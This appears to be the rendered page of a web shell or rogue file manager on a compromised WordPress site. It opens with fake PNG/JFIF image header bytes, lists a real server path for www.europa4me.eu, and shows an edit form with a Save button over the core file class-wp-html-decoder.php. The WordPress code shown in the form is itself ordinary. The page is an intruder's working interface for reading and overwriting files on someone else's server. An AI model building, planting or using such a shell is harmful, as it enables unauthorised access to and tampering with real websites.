�PNG
�JFIF������
<style>  
body { background:#1a1a1a; color:#ccc; font-family:monospace; padding:20px; }  
a { color:#6cf; text-decoration:none; }  
a:hover { text-decoration:underline; }  
textarea,input[type=text] { width:100%; font-family:monospace; background:#222; color:#fff; border:1px solid #444; }  
input[type=submit] { background:#333; color:#fff; border:none; padding:5px 10px; }  
</style><h2>🗂️ simple</h2><p><b>Path:</b> <a href='?path=%2Fbig%2F'>big</a>/<a href='?path=%2Fbig%2Fweb%2F'>web</a>/<a href='?path=%2Fbig%2Fweb%2Fwww.europa4me.eu%2F'>www.europa4me.eu</a>/<a href='?path=%2Fbig%2Fweb%2Fwww.europa4me.eu%2Fhtdocs%2F'>htdocs</a>/<a href='?path=%2Fbig%2Fweb%2Fwww.europa4me.eu%2Fhtdocs%2Fwp-includes%2F'>wp-includes</a>/<a href='?path=%2Fbig%2Fweb%2Fwww.europa4me.eu%2Fhtdocs%2Fwp-includes%2Fhtml-api%2F'>html-api</a>/</p><hr><h3>✏️ Editing: class-wp-html-decoder.php</h3>  
        <form method='post'>  
            <textarea name='content' rows='20'>&lt;?php

/**
 * HTML API: WP_HTML_Decoder class
 *
 * Decodes spans of raw text found inside HTML content.
 *
 * @package WordPress
 * @subpackage HTML-API
 * @since 6.6.0
 */
class WP_HTML_Decoder {
	/**
	 * Indicates if an attribute value starts with a given raw string value.
	 *
	 * Use this method to determine if an attribute value starts with a given string, regardless
	 * of how it might be encoded in HTML. For instance, `http:` could be represented as `http:`
	 * or as `http&amp;colon;` or as `&amp;#x68;ttp:` or as `h&amp;#116;tp&amp;colon;`, or in many other ways.
	 *
	 * This is equivalent to a byte-prefix test against the decoded attribute value, without
	 * the need to allocate and decode the full string.
	 *
	 * Example:
	 *
	 *     $value = &#039;http&amp;colon;//wordpress.org/&#039;;
	 *     true   === WP_HTML_Decoder::attribute_starts_with( $value, &#039;http:&#039;, &#039;ascii-case-insensitive&#039; );
	 *     false  === WP_HTML_Decoder::attribute_starts_with( $value, &#039;https:&#039;, &#039;ascii-case-insensitive&#039; );
	 *
	 * @since 6.6.0
	 *
	 * @param string $haystack         String containing the raw non-decoded attribute value.
	 * @param string $search_text      Does the attribute value start with this plain string.
	 * @param string $case_sensitivity Optional. Pass &#039;ascii-case-insensitive&#039; to ignore ASCII case when matching.
	 *                                 Default &#039;case-sensitive&#039;.
	 * @return bool Whether the attribute value starts with the given string.
	 */
	public static function attribute_starts_with( $haystack, $search_text, $case_sensitivity = &#039;case-sensitive&#039; ): bool {
		$search_length = strlen( $search_text );
		$loose_case    = &#039;ascii-case-insensitive&#039; === $case_sensitivity;
		$haystack_end  = strlen( $haystack );
		$search_at     = 0;
		$haystack_at   = 0;

		while ( $search_at &lt; $search_length &amp;&amp; $haystack_at &lt; $haystack_end ) {
			$chars_match = $loose_case
				? strtolower( $haystack[ $haystack_at ] ) === strtolower( $search_text[ $search_at ] )
				: $haystack[ $haystack_at ] === $search_text[ $search_at ];

			$is_introducer = &#039;&amp;&#039; === $haystack[ $haystack_at ];
			$next_chunk    = $is_introducer
				? self::read_character_reference( &#039;attribute&#039;, $haystack, $haystack_at, $token_length )
				: null;

			// If there&#039;s no character reference and the characters don&#039;t match, the match fails.
			if ( null === $next_chunk &amp;&amp; ! $chars_match ) {
				return false;
			}

			// If there&#039;s no character reference but the characters do match, then it could still match.
			if ( null === $next_chunk &amp;&amp; $chars_match ) {
				++$haystack_at;
				++$search_at;
				continue;
			}

			/**
			 * The decoded character reference in `$next_chunk` must be compared with the
			 * corresponding `$search_text` bytes checking for matching prefixes. The remaining
			 * search text may be shorter than the decoded chunk, in which case a partial match
			 * satisfies the prefix. Otherwise, if the decoded chunk is fully matched, the
			 * comparison must continue after advancing the appropriate byte lengths: the character
			 * reference token length in the haystack and the decoded chunk length in the
			 * search text.
			 *
			 * For example, consider searches that have reached the character reference
			 * `&amp;fjlig;` (7 bytes), decoded into the 2-byte chunk `fj`:
			 *
			 *                       $haystack_at
			 *                       │
			 *                       │      ┌─after matching `fj` continue here
			 *                       │      │ (advance by $token_length, 7 bytes)
			 *                       ↓      ↓
			 *     Haystack:    start&amp;fjlig;ord
			 *                       ╰──┬──╯
			 *                          fj - the decoded chunk, tested against the search text.
			 *
			 *                       $search_at
			 *                       │
			 *                       │ ┌─after matching `fj` continue here
			 *                       │ │ (advance by $match_length, 2 bytes)
			 *                       ↓ ↓
			 *     Search A:    startfjord      Compare 2 bytes: `fj` matches,
			 *                                  continue matching at `o`.
			 *
			 *                       $search_at
			 *                       ↓
			 *     Search B:    startf          Compare 1 byte: `f` matches and the
			 *                                  search text is exhausted — prefix confirmed.
			 *
			 *                       $search_at
			 *                       ↓
			 *     Search C:    startfr         Compare 2 bytes: `fj` differs
			 *                                  from `fr`, no match is possible.
			 *
			 * The `min()` is required in both directions: Search A fails if the
			 * comparison length comes from the search text, Search B if it comes
			 * from the chunk.
			 *
			 * After a match each cursor must advance by the appropriate length, the haystack
			 * cursor by the character reference token length, and the search cursor by the
			 * matched length.
			 */
			$match_length = min( strlen( $next_chunk ), $search_length - $search_at );
			if ( 0 !== substr_compare( $search_text, $next_chunk, $search_at, $match_length, $loose_case ) ) {
				return false;
			}

			// The character reference matched, so continue checking.
			$haystack_at += $token_length;
			$search_at   += $match_length;
		}

		return $search_at === $search_length;
	}

	/**
	 * Returns a string containing the decoded value of a given HTML text node.
	 *
	 * Text nodes appear in HTML DATA sections, which are the text segments inside
	 * and around tags, excepting SCRIPT and STYLE elements (and some others),
	 * whose inner text is not decoded. Use this function to read the decoded
	 * value of such a text span in an HTML document.
	 *
	 * Example:
	 *
	 *     &#039;“😄”&#039; === WP_HTML_Decoder::decode_text_node( &#039;&amp;#x93;&amp;#x1f604;&amp;#x94&#039; );
	 *
	 * @since 6.6.0
	 *
	 * @param string $text Text containing raw and non-decoded text node to decode.
	 * @return string Decoded UTF-8 value of given text node.
	 */
	public static function decode_text_node( $text ): string {
		return static::decode( &#039;data&#039;, $text );
	}

	/**
	 * Returns a string containing the decoded value of a given HTML attribute.
	 *
	 * Text found inside an HTML attribute has different parsing rules than for
	 * text found inside other markup, or DATA segments. Use this function to
	 * read the decoded value of an HTML string inside a quoted attribute.
	 *
	 * Example:
	 *
	 *     &#039;“😄”&#039; === WP_HTML_Decoder::decode_attribute( &#039;&amp;#x93;&amp;#x1f604;&amp;#x94&#039; );
	 *
	 * @since 6.6.0
	 *
	 * @param string $text Text containing raw and non-decoded attribute value to decode.
	 * @return string Decoded UTF-8 value of given attribute value.
	 */
	public static function decode_attribute( $text ): string {
		return static::decode( &#039;attribute&#039;, $text );
	}

	/**
	 * Decodes a span of HTML text, depending on the context in which it&#039;s found.
	 *
	 * This is a low-level method; prefer calling WP_HTML_Decoder::decode_attribute() or
	 * WP_HTML_Decoder::decode_text_node() instead. It&#039;s provided for cases where this
	 * may be difficult to do from calling code.
	 *
	 * Example:
	 *
	 *     &#039;©&#039; = WP_HTML_Decoder::decode( &#039;data&#039;, &#039;&amp;copy;&#039; );
	 *
	 * @since 6.6.0
	 *
	 * @access private
	 *
	 * @param string $context `attribute` for decoding attribute values, `data` otherwise.
	 * @param string $text    Text document containing span of text to decode.
	 * @return string Decoded UTF-8 string.
	 */
	public static function decode( $context, $text ): string {
		$decoded = &#039;&#039;;
		$end     = strlen( $text );
		$at      = 0;
		$was_at  = 0;

		while ( $at &lt; $end ) {
			$next_character_reference_at = strpos( $text, &#039;&amp;&#039;, $at );
			if ( false === $next_character_reference_at ) {
				break;
			}

			$character_reference = self::read_character_reference( $context, $text, $next_character_reference_at, $token_length );
			if ( isset( $character_reference ) ) {
				$at       = $next_character_reference_at;
				$decoded .= substr( $text, $was_at, $at - $was_at );
				$decoded .= $character_reference;
				$at      += $token_length;
				$was_at   = $at;
				continue;
			}

			++$at;
		}

		if ( 0 === $was_at ) {
			return $text;
		}

		if ( $was_at &lt; $end ) {
			$decoded .= substr( $text, $was_at, $end - $was_at );
		}

		return $decoded;
	}

	/**
	 * Attempt to read a character reference at the given location in a given string,
	 * depending on the context in which it&#039;s found.
	 *
	 * If a character reference is found, this function will return the translated value
	 * that the reference maps to. It will then set `$match_byte_length` the
	 * number of bytes of input it read while consuming the character reference. This
	 * gives calling code the opportunity to advance its cursor when traversing a string
	 * and decoding.
	 *
	 * Example:
	 *
	 *     null === WP_HTML_Decoder::read_character_reference( &#039;attribute&#039;, &#039;Ships&amp;hellip;&#039;, 0 );
	 *     &#039;…&#039;  === WP_HTML_Decoder::read_character_reference( &#039;attribute&#039;, &#039;Ships&amp;hellip;&#039;, 5, $token_length );
	 *     8    === $token_length; // `&amp;hellip;`
	 *
	 *     null === WP_HTML_Decoder::read_character_reference( &#039;attribute&#039;, &#039;&amp;notin&#039;, 0 );
	 *     &#039;∉&#039;  === WP_HTML_Decoder::read_character_reference( &#039;attribute&#039;, &#039;&amp;notin;&#039;, 0, $token_length );
	 *     7    === $token_length; // `&amp;notin;`
	 *
	 *     &#039;¬&#039;  === WP_HTML_Decoder::read_character_reference( &#039;data&#039;, &#039;&amp;notin&#039;, 0, $token_length );
	 *     4    === $token_length; // `&amp;not`
	 *     &#039;∉&#039;  === WP_HTML_Decoder::read_character_reference( &#039;data&#039;, &#039;&amp;notin;&#039;, 0, $token_length );
	 *     7    === $token_length; // `&amp;notin;`
	 *
	 * @since 6.6.0
	 *
	 * @global WP_Token_Map $html5_named_character_references Mappings for HTML5 named character references.
	 *
	 * @param string $context            `attribute` for decoding attribute values, `data` otherwise.
	 * @param string $text               Text document containing span of text to decode.
	 * @param int    $at                 Optional. Byte offset into text where span begins, defaults to the beginning (0).
	 * @param int    &amp;$match_byte_length Optional. Set to byte-length of character reference if provided and if a match
	 *                                   is found, otherwise not set. Default null.
	 * @return ?string Decoded character reference in UTF-8 if found, otherwise null.
	 */
	public static function read_character_reference( $context, $text, $at = 0, &amp;$match_byte_length = null ) {
		/**
		 * Mappings for HTML5 named character references.
		 *
		 * @var WP_Token_Map $html5_named_character_references
		 */
		global $html5_named_character_references;

		$length = strlen( $text );
		if ( $at + 1 &gt;= $length ) {
			return null;
		}

		if ( &#039;&amp;&#039; !== $text[ $at ] ) {
			return null;
		}

		/*
		 * Numeric character references.
		 *
		 * When truncated, these will encode the code point found by parsing the
		 * digits that are available. For example, when `&amp;#x1f170;` is truncated
		 * to `&amp;#x1f1` it will encode `DZ`. It does not:
		 *  - know how to parse the original `🅰`.
		 *  - fail to parse and return plaintext `&amp;#x1f1`.
		 *  - fail to parse and return the replacement character `�`
		 */
		if ( &#039;#&#039; === $text[ $at + 1 ] ) {
			if ( $at + 2 &gt;= $length ) {
				return null;
			}

			/** Tracks inner parsing within the numeric character reference. */
			$digits_at = $at + 2;

			if ( &#039;x&#039; === $text[ $digits_at ] || &#039;X&#039; === $text[ $digits_at ] ) {
				$numeric_base   = 16;
				$numeric_digits = &#039;0123456789abcdefABCDEF&#039;;
				$max_digits     = 6; // &amp;#x10FFFF;
				++$digits_at;
			} else {
				$numeric_base   = 10;
				$numeric_digits = &#039;0123456789&#039;;
				$max_digits     = 7; // &amp;#1114111;
			}

			// Cannot encode invalid Unicode code points. Max is to U+10FFFF.
			$zero_count    = strspn( $text, &#039;0&#039;, $digits_at );
			$digit_count   = strspn( $text, $numeric_digits, $digits_at + $zero_count );
			$after_digits  = $digits_at + $zero_count + $digit_count;
			$has_semicolon = $after_digits &lt; $length &amp;&amp; &#039;;&#039; === $text[ $after_digits ];
			$end_of_span   = $has_semicolon ? $after_digits + 1 : $after_digits;

			// `&amp;#` or `&amp;#x` without digits returns into plaintext.
			if ( 0 === $digit_count &amp;&amp; 0 === $zero_count ) {
				return null;
			}

			// Whereas `&amp;#` and only zeros is invalid.
			if ( 0 === $digit_count ) {
				$match_byte_length = $end_of_span - $at;
				return &#039;�&#039;;
			}

			// If there are too many digits then it&#039;s not worth parsing. It&#039;s invalid.
			if ( $digit_count &gt; $max_digits ) {
				$match_byte_length = $end_of_span - $at;
				return &#039;�&#039;;
			}

			$digits     = substr( $text, $digits_at + $zero_count, $digit_count );
			$code_point = intval( $digits, $numeric_base );

			/*
			 * Noncharacters, 0x0D, and non-ASCII-whitespace control characters.
			 *
			 * &gt; A noncharacter is a code point that is in the range U+FDD0 to U+FDEF,
			 * &gt; inclusive, or U+FFFE, U+FFFF, U+1FFFE, U+1FFFF, U+2FFFE, U+2FFFF,
			 * &gt; U+3FFFE, U+3FFFF, U+4FFFE, U+4FFFF, U+5FFFE, U+5FFFF, U+6FFFE,
			 * &gt; U+6FFFF, U+7FFFE, U+7FFFF, U+8FFFE, U+8FFFF, U+9FFFE, U+9FFFF,
			 * &gt; U+AFFFE, U+AFFFF, U+BFFFE, U+BFFFF, U+CFFFE, U+CFFFF, U+DFFFE,
			 * &gt; U+DFFFF, U+EFFFE, U+EFFFF, U+FFFFE, U+FFFFF, U+10FFFE, or U+10FFFF.
			 *
			 * A C0 control is a code point that is in the range of U+00 to U+1F,
			 * but ASCII whitespace includes U+09, U+0A, U+0C, and U+0D.
			 *
			 * These characters are invalid but still decode as any valid character.
			 * This comment is here to note and explain why there&#039;s no check to
			 * remove these characters or replace them.
			 *
			 * @see https://infra.spec.whatwg.org/#noncharacter
			 */

			/*
			 * Code points in the C1 controls area need to be remapped as if they
			 * were stored in Windows-1252. Note! This transformation only happens
			 * for numeric character references. The raw code points in the byte
			 * stream are not translated.
			 *
			 * &gt; If the number is one of the numbers in the first column of
			 * &gt; the following table, then find the row with that number in
			 * &gt; the first column, and set the character reference code to
			 * &gt; the number in the second column of that row.
			 */
			if ( $code_point &gt;= 0x80 &amp;&amp; $code_point &lt;= 0x9F ) {
				$windows_1252_mapping = array(
					0x20AC, // 0x80 -&gt; EURO SIGN (€).
					0x81,   // 0x81 -&gt; (no change).
					0x201A, // 0x82 -&gt; SINGLE LOW-9 QUOTATION MARK (‚).
					0x0192, // 0x83 -&gt; LATIN SMALL LETTER F WITH HOOK (ƒ).
					0x201E, // 0x84 -&gt; DOUBLE LOW-9 QUOTATION MARK („).
					0x2026, // 0x85 -&gt; HORIZONTAL ELLIPSIS (…).
					0x2020, // 0x86 -&gt; DAGGER (†).
					0x2021, // 0x87 -&gt; DOUBLE DAGGER (‡).
					0x02C6, // 0x88 -&gt; MODIFIER LETTER CIRCUMFLEX ACCENT (ˆ).
					0x2030, // 0x89 -&gt; PER MILLE SIGN (‰).
					0x0160, // 0x8A -&gt; LATIN CAPITAL LETTER S WITH CARON (Š).
					0x2039, // 0x8B -&gt; SINGLE LEFT-POINTING ANGLE QUOTATION MARK (‹).
					0x0152, // 0x8C -&gt; LATIN CAPITAL LIGATURE OE (Œ).
					0x8D,   // 0x8D -&gt; (no change).
					0x017D, // 0x8E -&gt; LATIN CAPITAL LETTER Z WITH CARON (Ž).
					0x8F,   // 0x8F -&gt; (no change).
					0x90,   // 0x90 -&gt; (no change).
					0x2018, // 0x91 -&gt; LEFT SINGLE QUOTATION MARK (‘).
					0x2019, // 0x92 -&gt; RIGHT SINGLE QUOTATION MARK (’).
					0x201C, // 0x93 -&gt; LEFT DOUBLE QUOTATION MARK (“).
					0x201D, // 0x94 -&gt; RIGHT DOUBLE QUOTATION MARK (”).
					0x2022, // 0x95 -&gt; BULLET (•).
					0x2013, // 0x96 -&gt; EN DASH (–).
					0x2014, // 0x97 -&gt; EM DASH (—).
					0x02DC, // 0x98 -&gt; SMALL TILDE (˜).
					0x2122, // 0x99 -&gt; TRADE MARK SIGN (™).
					0x0161, // 0x9A -&gt; LATIN SMALL LETTER S WITH CARON (š).
					0x203A, // 0x9B -&gt; SINGLE RIGHT-POINTING ANGLE QUOTATION MARK (›).
					0x0153, // 0x9C -&gt; LATIN SMALL LIGATURE OE (œ).
					0x9D,   // 0x9D -&gt; (no change).
					0x017E, // 0x9E -&gt; LATIN SMALL LETTER Z WITH CARON (ž).
					0x0178, // 0x9F -&gt; LATIN CAPITAL LETTER Y WITH DIAERESIS (Ÿ).
				);

				$code_point = $windows_1252_mapping[ $code_point - 0x80 ];
			}

			$match_byte_length = $end_of_span - $at;
			return self::code_point_to_utf8_bytes( $code_point );
		}

		/** Tracks inner parsing within the named character reference. */
		$name_at = $at + 1;
		// Minimum named character reference is two characters. E.g. `GT`.
		if ( $name_at + 2 &gt; $length ) {
			return null;
		}

		$name_length = 0;
		$replacement = $html5_named_character_references-&gt;read_token( $text, $name_at, $name_length );
		if ( null === $replacement ) {
			return null;
		}

		$after_name = $name_at + $name_length;

		/**
		 * For historical reasons, a matched named character reference is left as literal
		 * text (its decoded replacement is not used) when all of the following hold:
		 *
		 * 1. It was matched in attribute context.
		 * 2. The match does not end in U+003B SEMICOLON (;) — i.e. it is one of the
		 *    legacy forms recognized without a trailing semicolon.
		 * 3. The next input character is U+003D EQUALS SIGN (=) or an ASCII alphanumeric.
		 *
		 * Some illustrative examples follow. Note that both `not` and `not;` appear in the
		 * named character references list. References start with `&amp;` and typically end with
		 * `;`, but the legacy forms are recognized without one.
		 *
		 * - In _data context_, &quot;&amp;notme&quot; is decoded to &quot;¬me&quot;: condition 1 fails (not an
		 *   attribute), so the reference is decoded.
		 * - In _attribute context_, &quot;&amp;not;me&quot; is decoded to &quot;¬me&quot;: the longest match is
		 *   &quot;not;&quot;, which ends in a semicolon, so condition 2 fails.
		 * - In _attribute context_, &quot;&amp;not己&quot; is decoded to &quot;¬己&quot;: the following character
		 *   &quot;己&quot; is a letter but not an ASCII alphanumeric (nor &quot;=&quot;), so condition 3 fails.
		 * - In _attribute context_, &quot;&amp;not&quot; is decoded to &quot;¬&quot;: there is no next input
		 *   character, so condition 3 fails.
		 * - In _attribute context_, &quot;&amp;not=me&quot; is left as the literal text &quot;&amp;not=me&quot;: all
		 *   three conditions hold.
		 * - In _attribute context_, &quot;&amp;notme&quot; is left as the literal text &quot;&amp;notme&quot;: all
		 *   three conditions hold.
		 *
		 * Without these special rules, ordinary URL query strings could have surprising
		 * replacements applied. Consider:
		 *
		 *     &lt;a href=&quot;/?random&amp;degree&amp;gt=0&amp;lt=360&amp;not=90&quot;&gt;
		 *
		 * The literal attribute value `/?random&amp;degree&amp;gt=0&amp;lt=360&amp;not=90` is preserved
		 * by the special handling. Otherwise, the value would decode to
		 * `/?random°ree&gt;=0&lt;=360¬=90`, which is unlikely to be the author&#039;s intent.
		 *
		 * (Authors should not rely on this. Escaping the example as
		 * `/?random&amp;amp;degree&amp;amp;gt=0&amp;amp;lt=360&amp;amp;not=90` produces the intended
		 * value regardless of the following character.)
		 *
		 * @see https://html.spec.whatwg.org/multipage/parsing.html#named-character-reference-state
		 * @see https://html.spec.whatwg.org/multipage/named-characters.html#named-character-references
		 */
		if ( &#039;attribute&#039; !== $context || &#039;;&#039; === $text[ $after_name - 1 ] || $after_name &gt;= $length ) {
			$match_byte_length = $after_name - $at;
			return $replacement;
		}

		$follower_byte = ord( $text[ $after_name ] );
		if (
			0x3D === $follower_byte || //                              EQUALS SIGN
			( $follower_byte &gt;= 0x30 &amp;&amp; $follower_byte &lt;= 0x39 ) || // ASCII digits 0-9
			( $follower_byte &gt;= 0x41 &amp;&amp; $follower_byte &lt;= 0x5A ) || // ASCII upper alpha A-Z
			( $follower_byte &gt;= 0x61 &amp;&amp; $follower_byte &lt;= 0x7A )    // ASCII lower alpha a-z
		) {
			return null;
		}

		$match_byte_length = $after_name - $at;
		return $replacement;
	}

	/**
	 * Encode a code point number into the UTF-8 encoding.
	 *
	 * This encoder implements the UTF-8 encoding algorithm for converting
	 * a code point into a byte sequence. If it receives an invalid code
	 * point it will return the Unicode Replacement Character U+FFFD `�`.
	 *
	 * Example:
	 *
	 *     &#039;🅰&#039; === WP_HTML_Decoder::code_point_to_utf8_bytes( 0x1f170 );
	 *
	 *     // Half of a surrogate pair is an invalid code point.
	 *     &#039;�&#039; === WP_HTML_Decoder::code_point_to_utf8_bytes( 0xd83c );
	 *
	 * @since 6.6.0
	 *
	 * @see https://www.rfc-editor.org/rfc/rfc3629 For the UTF-8 standard.
	 *
	 * @param int $code_point Which code point to convert.
	 * @return string Converted code point, or `�` if invalid.
	 */
	public static function code_point_to_utf8_bytes( $code_point ): string {
		$string = mb_chr( $code_point, &#039;UTF-8&#039; );

		return false !== $string ? $string : &#039;�&#039;;
	}
}
</textarea><br>  
            <input type='submit' value='Save'>  
        </form>  
        <p><a href='?path=%2Fbig%2Fweb%2Fwww.europa4me.eu%2Fhtdocs%2Fwp-includes%2Fhtml-api'>🔙 Back</a></p>